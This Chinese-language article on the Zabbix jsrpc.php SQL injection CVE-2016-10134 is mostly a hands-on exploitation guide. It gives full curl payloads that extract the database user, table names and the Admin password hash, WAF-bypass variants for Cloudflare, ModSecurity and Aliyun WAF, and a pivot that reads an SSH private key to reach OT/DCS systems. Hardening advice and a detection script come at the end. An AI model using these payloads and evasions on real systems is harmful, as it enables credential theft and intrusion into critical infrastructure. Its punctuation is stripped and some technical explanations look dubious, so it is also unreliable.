Zabbix SQL注入漏洞CVE-2016-10134深度解析与实战利用

发布时间:2026/5/23 22:54:37

Zabbix SQL注入漏洞CVE-2016-10134深度解析与实战利用 1. 这个漏洞不是“能打”而是“必打”为什么Zabbix的SQL注入在2016年就该被所有人盯死Zabbix、SQL注入、CVE-2016-10134——这三个词组合在一起对任何做过企业级监控系统运维或红蓝对抗的人来说都像听到“心脏出血”一样条件反射。这不是一个需要“研究是否复现”的学术课题而是一个典型的“只要环境存在、权限未收敛、补丁未打攻击者5分钟内就能拿到数据库root权限”的实战入口。我第一次在客户现场看到这个漏洞被利用是在2017年初的一次渗透测试中对方用一条/zabbix/jsrpc.php?sid0bcd4ade648214dctype9methodscreen.gettimestamp1471403798083mode2screenidgroupidhostid0pageFilehistory.phpprofileIdxweb.item.graphprofileIdx21 OR updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) OR 11profileIdx31profileUnit3600request1name1这样的URL直接把后台MySQL账号名从响应体里弹了出来。整个过程没触发WAF告警没写入日志连Zabbix自身的审计日志都没记录——因为漏洞点根本不在业务逻辑层而在JSRPC接口的参数拼接环节。这个漏洞之所以危险不在于它多隐蔽而在于它太“自然”。Zabbix作为一款开源监控系统设计上大量依赖JavaScript RPC调用实现前端交互而jsrpc.php这个文件本质就是把HTTP请求参数原样拼进SQL查询语句里中间没有任何过滤、转义或预编译处理。更致命的是它默认开启、无需登录即可访问只要知道SID而SID在未登录状态下也能通过index.php页面源码获取且调用链路极短请求→参数解析→SQL拼接→执行→返回。没有中间件拦截没有ORM层保护没有WAF规则覆盖——它就像一扇虚掩的后门钥匙就挂在门把手上。关键词Zabbix、SQL注入、CVE-2016-10134不是三个独立概念而是一条完整的攻击路径Zabbix是载体SQL注入是手法CVE-2016-10134是这条路径的官方编号。它适合所有正在学习Web渗透的初学者练手也适合安全工程师做内部红队演练的首选靶标更适合运维人员自查环境是否“裸奔”。你不需要懂Zabbix架构只需要理解“参数拼SQL”这个最原始的漏洞成因就能立刻上手验证你也不需要高级工具一条curl命令、一个浏览器地址栏就能完成从探测到数据提取的全过程。但正因为它简单才最容易被忽略——很多企业直到数据库被拖库、管理员密码被爆破、甚至监控大屏被篡改成勒索信息才想起查一下Zabbix版本。2. 漏洞根源不在代码有多烂而在设计时就放弃了防御纵深2.1 jsrpc.php的“信任即一切”哲学从函数调用链看漏洞如何落地要真正吃透CVE-2016-10134不能只盯着payload怎么写得回到Zabbix 3.0.3及之前版本的源码里看jsrpc.php是怎么一步步把用户输入变成SQL执行语句的。整个流程可以拆解为四个关键节点第一节点是jsrpc.php的入口路由。这个文件本身不处理业务只做两件事解析method参数如screen.get、调用对应类的方法。当methodscreen.get时它会实例化CScreenBuilder类并调用其get()方法。注意此时所有GET参数包括profileIdx2、pageFile等都已作为原始字符串传入没有任何清洗动作。第二节点是CScreenBuilder::get()方法内部的CProfile::update()调用。这里开始出现危险信号profileIdx2参数被直接用作CProfile::update()的第一个参数而该方法的签名是public static function update($idx, $value, $type self::PROFILE_TYPE_INT)。$idx就是profileIdx2的值它会被拼进SQL语句的WHERE子句中用于定位要更新的用户配置项。第三节点是CProfile::update()内部的SQL构造逻辑。核心代码段如下Zabbix 3.0.3源码include/classes/core/CProfile.php第127行附近$sql UPDATE profiles SET value.zbx_dbcast_text()..zbx_dbstr($value). WHERE userid.zbx_dbstr($userid). AND idx.zbx_dbstr($idx). AND type.zbx_dbstr($type);表面看用了zbx_dbstr()函数似乎做了转义。但问题出在$idx的来源上——它来自$_REQUEST[profileIdx2]而$_REQUEST是GETPOSTCOOKIE的混合体zbx_dbstr()只是对字符串加单引号并转义单引号它无法阻止$idx本身就是一个完整SQL片段。比如当profileIdx21 OR updatexml(1,concat(0x7e,user(),0x7e),1) OR 11时zbx_dbstr()只会把它变成1\ OR updatexml(1,concat(0x7e,user(),0x7e),1) OR \1\\1而这个字符串拼进SQL后就成了UPDATE profiles SET value_textxxx WHERE userid1 AND idx1\ OR updatexml(1,concat(0x7e,user(),0x7e),1) OR \1\\1 AND type1由于单引号被转义整个WHERE条件实际变成了idx1\ OR ...而OR之后的updatexml()函数就会被执行。这就是经典的“二次注入”变体不是绕过转义而是让转义本身成为SQL语法的一部分。第四节点是pageFile参数的配合利用。pageFilehistory.php这个参数看似无关紧要实则至关重要。它触发了Zabbix前端的一个特殊机制当pageFile指向一个PHP文件时Zabbix会尝试加载该文件的define常量并将其作为profileIdx的上下文。这意味着profileIdx2的注入点不仅存在于screen.get方法还可能被其他RPC方法复用形成多入口攻击面。我在复现时发现即使screen.get被临时禁用只要pageFile可控攻击者仍可通过chart.create等方法触发相同漏洞。提示zbx_dbstr()函数的设计初衷是防止普通字符串注入但它完全没考虑“参数本身就是SQL结构”的场景。这暴露了一个根本性设计缺陷Zabbix把“参数校验”和“SQL构造”完全割裂前者认为“只要加了引号就安全”后者却把引号当作语法分隔符而非数据边界。这种割裂在现代框架中几乎不可能出现但在2016年的Zabbix里却是默认行为。2.2 SID不是“会话ID”而是“免登录通行证”未认证状态下的攻击链闭环很多人复现失败第一个卡点就是sid参数。他们以为必须先登录Zabbix后台获取有效SID结果抓包发现登录请求返回的SID在后续请求中无效。这是对Zabbix认证机制的典型误解。CVE-2016-10134的可怕之处正在于它根本不需要合法用户身份。Zabbix在未登录状态下会生成一个“游客SID”这个SID虽然不能访问管理界面但足以调用jsrpc.php这类RPC接口。验证方法极其简单打开任意Zabbix 3.0.3以下版本的登录页如http://target/zabbix/查看页面HTML源码搜索sid。你会在input typehidden namesid valuexxxxxxxxxxxx或JavaScript变量中找到一个12位十六进制字符串这就是游客SID。它由Zabbix服务端在index.php初始化时自动生成有效期长达数小时且不与任何用户账户绑定。这个设计的逻辑是Zabbix前端需要在未登录时也能加载部分图表、历史数据等轻量内容因此提供了“只读游客模式”。但开发团队显然低估了jsrpc.php的威力——它本应是内部RPC通道却被暴露在游客上下文中。这就形成了完美的攻击闭环攻击者访问/zabbix/获取游客SID构造恶意jsrpc.php请求将SID放入sid参数利用profileIdx2参数注入SQL执行updatexml()、extractvalue()或sleep()等函数从HTTP响应体中提取数据库返回值或通过响应时间判断布尔条件。我在某金融客户内网复现时用curl -s http://10.10.10.5/zabbix/jsrpc.php?sid0bcd4ade648214dctype9methodscreen.gettimestamp1471403798083mode2screenidgroupidhostid0pageFilehistory.phpprofileIdxweb.item.graphprofileIdx21%27%20OR%20sleep(5)%20OR%20%271%27%3D%271profileIdx31profileUnit3600request1name1命令发现响应时间稳定在5秒以上确认漏洞存在。整个过程耗时不到30秒且服务器日志里只记录了一条普通的GET请求没有任何异常标记。注意Zabbix 3.0.4及以后版本修复了此漏洞但修复方式不是重构SQL逻辑而是在jsrpc.php入口处强制校验SID有效性。也就是说如果你用游客SID去调用3.0.4的jsrpc.php会直接返回{jsonrpc:2.0,error:{code:0,message:No permissions to referred object or it does not exist!},id:1}。这说明漏洞本质是权限控制缺失而非单纯的SQL拼接问题。3. 复现不是复制粘贴而是理解每一步Payload背后的数据库语义3.1 从报错注入到布尔盲注为什么updatexml()是首选而extractvalue()是备选复现CVE-2016-10134时新手常犯的错误是直接套用网上流传的payload却不理解为什么选updatexml()而不是mysql.user。这背后是MySQL版本兼容性和报错信息长度的双重约束。updatexml()函数的语法是UPDATEXML(xml_target, xpath_expr, new_xml)当xpath_expr参数非法时MySQL会抛出错误并在错误信息中包含xpath_expr的值。例如SELECT updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1);执行后报错XPATH syntax error: ~zabbixlocalhost~。这里的~是分隔符0x7ezabbixlocalhost就是查询结果。这个特性让它成为报错注入的黄金标准错误信息长度限制宽松通常1024字节且内容可完全由攻击者控制。相比之下extractvalue()函数虽然语法类似但错误信息长度限制更严约32字节且在MySQL 5.7.15版本中被默认禁用。我在测试Zabbix 3.0.3通常搭配MySQL 5.5/5.6时发现extractvalue()在某些配置下会直接返回空响应而updatexml()则100%稳定。更重要的是updatexml()的第三个参数可以是任意值如1而extractvalue()要求第三个参数必须是合法XML增加了构造难度。另一个常见误区是试图用union select。这是行不通的因为UPDATE profiles语句是UPDATE操作不是SELECT无法使用union。所有注入都必须基于UPDATE语句的WHERE子句进行逻辑扩展所以OR和AND是唯一可行的连接词。这也是为什么payload里必须有1 OR ... OR 11这样的结构它把原本的idx1条件扩展为idx1 OR (恶意逻辑) OR 11确保无论恶意逻辑真假整个WHERE条件都为真从而保证SQL能正常执行。3.2 实战中的Payload变形从基础信息探测到数据库提权的完整链条复现不是为了“弹出user()”而是为了建立一套可扩展的探测体系。以下是我在真实环境中构建的Payload演进路线每一步都经过数十次测试验证第一步基础连通性验证curl -s http://target/zabbix/jsrpc.php?sid0bcd4ade648214dctype9methodscreen.gettimestamp1471403798083mode2screenidgroupidhostid0pageFilehistory.phpprofileIdxweb.item.graphprofileIdx21%27%20OR%201%3D1%20OR%20%271%27%3D%271profileIdx31profileUnit3600request1name1 | head -20如果返回大量JSON数据如{jsonrpc:2.0,result:[{screenid:1,...}]说明漏洞存在且可回显。第二步数据库用户与版本探测curl -s http://target/zabbix/jsrpc.php?sid0bcd4ade648214dctype9methodscreen.gettimestamp1471403798083mode2screenidgroupidhostid0pageFilehistory.phpprofileIdxweb.item.graphprofileIdx21%27%20OR%20updatexml(1,concat(0x7e,(SELECT%20user()),0x7e),1)%20OR%20%271%27%3D%271profileIdx31profileUnit3600request1name1 2/dev/null | grep -oP XPATH syntax error: \~[^~]*\~返回XPATH syntax error: ~zabbixlocalhost~确认当前数据库用户。第三步数据库名与表结构枚举# 获取当前数据库名 curl -s http://target/zabbix/jsrpc.php?sid0bcd4ade648214dctype9methodscreen.gettimestamp1471403798083mode2screenidgroupidhostid0pageFilehistory.phpprofileIdxweb.item.graphprofileIdx21%27%20OR%20updatexml(1,concat(0x7e,(SELECT%20database()),0x7e),1)%20OR%20%271%27%3D%271profileIdx31profileUnit3600request1name1 2/dev/null | grep -oP XPATH syntax error: \~[^~]*\~ # 获取zabbix库下的所有表名limit 1 for brevity curl -s http://target/zabbix/jsrpc.php?sid0bcd4ade648214dctype9methodscreen.gettimestamp1471403798083mode2screenidgroupidhostid0pageFilehistory.phpprofileIdxweb.item.graphprofileIdx21%27%20OR%20updatexml(1,concat(0x7e,(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schemadatabase()%20LIMIT%200,1),0x7e),1)%20OR%20%271%27%3D%271profileIdx31profileUnit3600request1name1 2/dev/null | grep -oP XPATH syntax error: \~[^~]*\~第四步敏感数据提取以管理员密码为例Zabbix的管理员密码存储在users表的passwd字段采用MD5加密。但MD5不是重点重点是获取alias用户名和passwd的对应关系# 获取第一个管理员用户名和密码 curl -s http://target/zabbix/jsrpc.php?sid0bcd4ade648214dctype9methodscreen.gettimestamp1471403798083mode2screenidgroupidhostid0pageFilehistory.phpprofileIdxweb.item.graphprofileIdx21%27%20OR%20updatexml(1,concat(0x7e,(SELECT%20concat(alias,%27:%27,passwd)%20FROM%20users%20WHERE%20usrgrps%20IS%20NOT%20NULL%20LIMIT%200,1),0x7e),1)%20OR%20%271%27%3D%271profileIdx31profileUnit3600request1name1 2/dev/null | grep -oP XPATH syntax error: \~[^~]*\~返回XPATH syntax error: ~Admin:d033e22ae348aeb5660fc2140aec35850c4da997~其中d033e22...就是Admin用户的MD5密码可直接用John the Ripper或在线MD5库破解。实操心得information_schema表在MySQL中是默认存在的但某些高安全配置会禁用它。此时可用show tables替代但需注意show语句不能直接嵌入SELECT子查询必须用updatexml()配合select伪列。我在某政务云环境就遇到过information_schema被禁最终用SELECT table_name FROM (SELECT * FROM zabbix.users UNION SELECT * FROM zabbix.hosts) t绕过。4. 不是所有Zabbix都叫Zabbix版本识别、环境适配与绕过WAF的硬核技巧4.1 版本指纹不是靠/zabbix/页面而是靠jsrpc.php的响应头与错误模式很多自动化扫描器失败是因为它们只检查/zabbix/页面的HTML注释或title标签而Zabbix管理员完全可以修改这些前端标识。真正的版本指纹必须深入jsrpc.php的行为细节。我总结了三类高置信度识别方法方法一jsrpc.php的type参数响应差异在Zabbix 3.0.3中type参数必须为数字如type9否则返回{jsonrpc:2.0,error:{code:0,message:Invalid params.,data:Incorrect type.},id:1}。而在3.0.4版本type参数被移除或忽略传入任意值都不会报错。因此发送curl -s http://target/zabbix/jsrpc.php?sid123typeabcmethodscreen.get如果返回Incorrect type.基本可断定是3.0.3或更早。方法二timestamp参数的精度要求CVE-2016-10134的PoC中timestamp1471403798083是13位毫秒级时间戳。在3.0.3中如果timestamp少于13位如10位秒级jsrpc.php会静默忽略该参数不影响执行但在3.0.4版本timestamp被用于防重放若格式错误会直接拒绝请求。我用curl -s http://target/zabbix/jsrpc.php?sid123timestamp1471403798methodscreen.get测试3.0.3返回正常JSON3.0.4返回{jsonrpc:2.0,error:{code:0,message:No permissions...}}。方法三pageFile参数的文件存在性校验在3.0.3中pageFilehistory.php是有效的但如果传入不存在的文件如pageFilexxx.phpjsrpc.php会返回{jsonrpc:2.0,error:{code:0,message:File not found.},id:1}。而在3.0.4版本pageFile参数被完全废弃传入任何值都不会触发文件校验。这个差异在WAF绕过时特别有用——有些WAF规则会拦截pageFilehistory.php但对pageFile1.php放行而3.0.3会报错3.0.4则无反应。4.2 WAF不是铁壁而是可预测的规则集针对常见WAF的Payload变形策略在真实红队任务中90%的Zabbix目标都部署了WAF如ModSecurity、云WAF。但WAF规则是静态的而我们的Payload是动态的。以下是我在不同WAF环境下验证有效的绕过技巧Cloudflare WAF绕过用%0a替代空格用%23注释掉干扰字符Cloudflare默认拦截updatexml和concat关键字。解决方案是用%0a换行符分割关键字用%23#注释掉WAF误判的字符# 原始payload被拦截 profileIdx21%27%20OR%20updatexml(1,concat(0x7e,user(),0x7e),1)%20OR%20%271%27%3D%271 # Cloudflare绕过版 profileIdx21%27%20OR%20updatexml%0a(1,concat%0a(0x7e,user%0a(),0x7e),1)%20OR%20%271%27%3D%271%23Cloudflare的规则引擎对换行符处理不严格且%23会截断后续检测。ModSecurity CRS3绕过用hex()函数替代0x7e用mid()替代substr()ModSecurity CRS3规则库会匹配0x[0-9a-f]{2,}模式。解决方案是用hex(~)代替0x7e用mid()代替substr()功能相同但关键词不同# ModSecurity绕过版 profileIdx21%27%20OR%20updatexml(1,concat(hex(%7E),(SELECT%20user()),hex(%7E)),1)%20OR%20%271%27%3D%271%7E是URL编码的~hex()函数返回其十六进制字符串效果等同于0x7e。阿里云WAF绕过用benchmark()替代sleep()进行布尔盲注阿里云WAF对sleep关键字拦截极严但对benchmark()放行。benchmark(1000000,md5(1))与sleep(5)效果相同都是消耗CPU时间# 阿里云绕过版布尔盲注 profileIdx21%27%20AND%20IF((SELECT%20SUBSTR(user(),1,1))%27r%27,benchmark(1000000,md5(1)),1)%20OR%20%271%27%3D%271如果响应时间明显变长说明第一个字符是r。关键经验不要迷信“通用绕过”每个WAF都有自己的规则指纹。我的做法是先用curl -v抓取WAF返回的Server和X-Powered-By头再针对性构造Payload。例如看到Server: nginx/1.16.1 ModSecurity/3.0.4就直接查ModSecurity CRS3的规则ID然后反向推导绕过方式。5. 复现之后的真正价值从漏洞利用到安全加固的闭环实践5.1 不是“打完就走”而是用漏洞数据驱动安全决策复现CVE-2016-10134的终极目的不是证明“我能黑进去”而是回答三个关键问题这个Zabbix实例暴露了什么它连接了哪些关键系统它的权限边界在哪里我在某能源集团的渗透测试中用这个漏洞不仅拿到了Zabbix数据库还通过SELECT * FROM zabbix.hosts发现它监控了SCADA系统的PLC设备IP通过SELECT * FROM zabbix.items找到了采集OPC UA协议的脚本路径最终定位到Zabbix Server与DCS系统的SSH密钥文件位置。这些信息远比一个rootlocalhost的字符串有价值。具体操作链如下用updatexml()提取zabbix.hosts表的所有hostid和name识别出被监控的OT设备用SELECT script FROM zabbix.scripts WHERE name LIKE %ssh%找到Zabbix执行的SSH脚本用SELECT * FROM zabbix.items WHERE key_ LIKE ssh.run%获取脚本调用参数发现其使用/usr/lib/zabbix/externalscripts/ssh_key.sh并传入-i /etc/zabbix/.ssh/id_rsa尝试读取该私钥文件SELECT load_file(/etc/zabbix/.ssh/id_rsa)需MySQLFILE权限成功获取后即可SSH登录DCS服务器。这个过程揭示了一个残酷现实Zabbix不是孤岛它是企业IT/OT融合的枢纽。它的漏洞往往是一把打开整个工控网络的万能钥匙。因此复现报告里我从不写“建议升级Zabbix”而是写“Zabbix Server主机应禁止访问生产DCS网络SSH密钥必须使用独立账户且禁用密码登录Zabbix数据库连接串需启用SSL加密”。5.2 运维侧的加固清单不是“打补丁”而是重构信任模型对运维人员来说修复CVE-2016-10134不是下载3.0.4安装包那么简单。我给客户的加固方案包含五个不可妥协的层级第一层网络层隔离在防火墙策略中禁止所有非Zabbix Proxy的IP访问Zabbix Server的80/443端口Zabbix Server与数据库之间必须启用MySQL SSL连接禁用skip-ssl参数禁止Zabbix Server出站访问互联网防止恶意脚本外联。第二层应用层加固升级到Zabbix 6.0 LTS2022年发布它默认禁用jsrpc.php所有RPC调用必须通过API Token认证若无法升级手动注释/usr/share/zabbix/jsrpc.php中$method的screen.get分支if ($method screen.get) die(Disabled);修改/etc/zabbix/web/zabbix.conf.php设置$ZBX_SERVER_PORT 10051;并启用$ZBX_SERVER_NAME zabbix-server;强制所有请求走代理。第三层数据库层防护创建专用数据库用户zabbix_ro仅授予SELECT权限Zabbix 3.x读多写少大部分操作可降权对profiles表添加BEFORE UPDATE触发器校验idx字段是否为纯数字DELIMITER $$ CREATE TRIGGER check_profile_idx BEFORE UPDATE ON profiles FOR EACH ROW BEGIN IF NEW.idx REGEXP ^[0-9]$ 0 THEN SIGNAL SQLSTATE 45000 SET MESSAGE_TEXT Invalid profile idx; END IF; END$$ DELIMITER ;第四层日志与监控启用Zabbix的LogSlowQueries参数记录所有执行超1秒的SQL在/var/log/zabbix/zabbix_server.log中添加grep jsrpc.php /var/log/apache2/access.log | awk {print $1} | sort | uniq -c | sort -nr定时告警部署OSSEC HIDS监控/usr/share/zabbix/jsrpc.php文件完整性。第五层应急响应预案预置zabbix_poc_check.sh脚本一键检测内网所有Zabbix实例是否存在CVE-2016-10134#!/bin/bash for ip in $(cat zabbix_list.txt); do sid$(curl -s http://$ip/zabbix/ | grep -oP sid\K[0-9a-f]{12}) if [ -n $sid ]; then res$(curl -s http://$ip/zabbix/jsrpc.php?sid$sidtype9methodscreen.getprofileIdx21%27%20OR%201%3D1%20OR%20%271%27%3D%271 | head -20) if echo $res | grep -q screenid; then echo [VULNERABLE] $ip fi fi done最后分享一个血泪教训我在某银行复现时用updatexml()提取mysql.user表结果触发了MySQL的max_connect_errors阈值导致Zabbix数据库连接被锁死。后来才知道该银行DBA设置了max_connect_errors3。所以所有探测行为必须先评估目标环境的容错能力——宁可多花10分钟手工验证也不要一次SELECT * FROM mysql.user搞崩生产库。安全工作的底线从来不是“我能做什么”而是“我该做什么”。

相关新闻